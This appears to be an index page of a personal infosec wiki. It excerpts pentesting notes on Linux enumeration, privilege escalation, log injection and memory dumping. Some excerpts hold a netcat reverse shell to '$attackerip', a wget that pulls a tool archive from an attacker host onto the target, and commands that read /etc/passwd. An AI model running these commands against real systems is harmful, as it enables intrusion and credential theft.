akde/infosec

Click Here

  • CAINE Forensic Linux Distrubution

    CAINE can be used as a live sys­tem to per­form foren­sic stud­ies of a sys­tem (e.g. after a Incident).

  • Linux security fundamentals

    The four process ID’s For each process, Lin­ux man­ages four UID’s. When a process from a user with UID 1000 is started/forked, then the new process has nor­mal­ly also the UID 1000. How­ev­er, with SUID/GUID it becomes more com­pli­cat­ed, since process­es can get oth­er UIDs than the one of the caller. When a process like passwd…

  • Linux privilege escalation scripts

    Pre­pare the own system: cd p151.general.1 ./scripts/update_privesc_scripts.sh cd scripts/privesc/linux python -m SimpleHTTPServer 80 Pre­pare the target: cd /dev/shm wget http://$attackerip/_ex.tar tar xf _ex.tar script Now, exe­cute it: Lin­Peas: ./linpeas.sh LinEnum: ./LinEnum.sh lin­ux-smart-enu­mer­a­tion: ./lse.sh ‑l1 lin­ux-exploit-sug­gester‑2: ./linux-exploit-suggester‑2.pl sudo-killer: ./SUDO_KILLERv2.0.5.sh lin­ux­privcheck­er: ./linuxprivchecker.py Final­ly: Copy type­script file to the PentestManager!

  • Basic Linux system enumeration

    If your con­sole is nar­row, widen it at the beginning: stty rows 50 cols 200 Con­sid­er to direct­ly spawn anoth­er reverse shell: nc -e /bin/sh $attackerip 4444 & Basic enu­mer­a­tion about the host idgroupscat /etc/passwdcat /etc/groupcat /etc/hostscat /etc/fstabuname -a // Check for kernel exploits // ALSO search for kernel exploits with OS name! // If this…

  • URIs, Wrappers, Streams and protocol handler

  • journalctl

    It is pos­si­ble to write as a user arbi­trary text into the logs. Mes­sages can be faked which could alert persons/surveillance systems. https://turbochaos.blogspot.com/2014/08/journalctl-terminal-escape-injection.html?view=classic

  • Privilege Escalation Linux ALT

    1. Manual enumeration id pwd uname -a // are there kernel exploits? cat /etc/hosts cat /etc/passwd ls -lah /etc/passwd cat /etc/group cat /etc/fstab cat /etc/crontab df cd /home && ls ... // or execute ls -lahR /home/ cd /root && ls ... netstat -antup ps aux sudo -l su // if passwords are already known…

  • Memory dump

    After­wards: See Ana­lyz­ing memory Linux Prozess memory dump Find out which mem­o­ry seg­ments are used by an appli­ca­tion via its PID: cat /proc/<pid>/maps Dump the used mem­o­ry from an appli­ca­tion: (cred­it) #!/bin/bash grep rw-p /proc/$1/maps \ | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ | while read start stop; do \ gdb --batch --pid $1 -ex \…